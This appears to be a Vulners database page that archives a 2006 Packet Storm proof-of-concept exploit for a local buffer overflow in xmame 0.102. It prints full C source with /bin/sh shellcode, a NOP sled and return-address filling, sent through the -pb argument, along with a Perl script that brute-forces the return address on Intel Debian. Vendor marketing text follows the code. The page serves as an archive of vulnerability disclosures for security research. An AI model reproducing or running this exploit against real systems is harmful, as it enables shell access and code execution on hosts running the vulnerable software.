Lucene search
K

xmame-sploits.txt

🗓️ 02 Feb 2006 00:00:00Reported by Rafael San Miguel CarrascoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

The exploit demonstrates local vulnerability in xmame 0.102 using brute-force technique on Intel Debian GNU/Linux

Code
`  
The following proof-of-concept demonstrates the existence of the local   
vulnerability found in xmame 0.102.  
It uses the brute-force technique. The RET address interval works on   
Intel Debian GNU/Linux.  
To test for the vulnerability, run "gcc exploit-c -o exploit" and then   
"perl fb.pl".  
  
exploit.c:  
  
#define NOP 0x90  
#define TAMBUF 1200  
#define INIC_SH 400  
#include <stdlib.h>  
  
int main (int argc, char **argv) {  
  
static char shellcode[]=  
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"  
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"  
"\x2f\x73\x68\x58";  
  
char buffer [TAMBUF + 1];  
char cadena [TAMBUF + 3];  
int cont;  
unsigned long ret = strtoul (argv[1], NULL, 16);  
  
for (cont = 0; cont < TAMBUF / 4; cont++)  
*( (long *) buffer + cont) = ret;  
  
for (cont = 0; cont < strlen (shellcode); cont++)  
buffer [cont + INIC_SH] = shellcode [cont];  
  
for (cont = 0; cont < INIC_SH; cont++)  
buffer [cont] = NOP;  
  
buffer [TAMBUF] = 0;  
printf ("RET = 0x%x\n", ret);  
strcpy (cadena, "AA");  
strcat (cadena, buffer);  
execl ("./xmame.x11", "./xmame.x11", "-pb", cadena, (char *) 0);  
}  
  
fb.pl:  
  
#!/usr/bin/perl  
  
$cnt = 0xbfffe000;  
  
while (1) {  
$hex = sprintf ("0x%x", $cnt);  
$res = system ("./exploit $hex");  
printf "$hex : $res\n";  
$cnt += 4;  
}  
  
Greetings,  
  
Rafael San Miguel Carrasco  
Security Consultant  
www.rafaelsanmiguel.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation